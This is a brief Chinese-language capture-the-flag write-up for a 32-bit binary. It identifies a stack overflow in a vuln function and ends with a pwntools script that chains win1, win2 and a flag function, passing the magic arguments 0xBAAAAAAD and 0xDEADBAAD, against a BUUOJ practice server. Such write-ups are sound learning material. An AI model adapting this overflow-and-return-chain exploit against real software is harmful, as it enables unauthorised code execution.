先进行检查 32位
打开ida查看一下 vuln 函数存在溢出可以利用
又看到函数表有flag函数 win1 win2 和a1 存在条件 需要控制这3个参数变量
注意:0xBAAAAAAD是-1163220307对应的16进制的补码作为win_function2函数的参数
下面的 0xDEADBAAD是-559039827对应的16进制的补码作为flag函数的参数(我都已经在ida中转化)
之后又看到win1 win2
最后写下脚本
from pwn import*
from LibcSearcher import*
p=remote('node3.buuoj.cn',25328)
win1=0x80485CB
win2=0x80485D8
flag=0x804862B
payload='a'*(0x18+4)+p32(win1)+p32(win2)+p32(flag)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
p.sendline(payload)
p.interactive()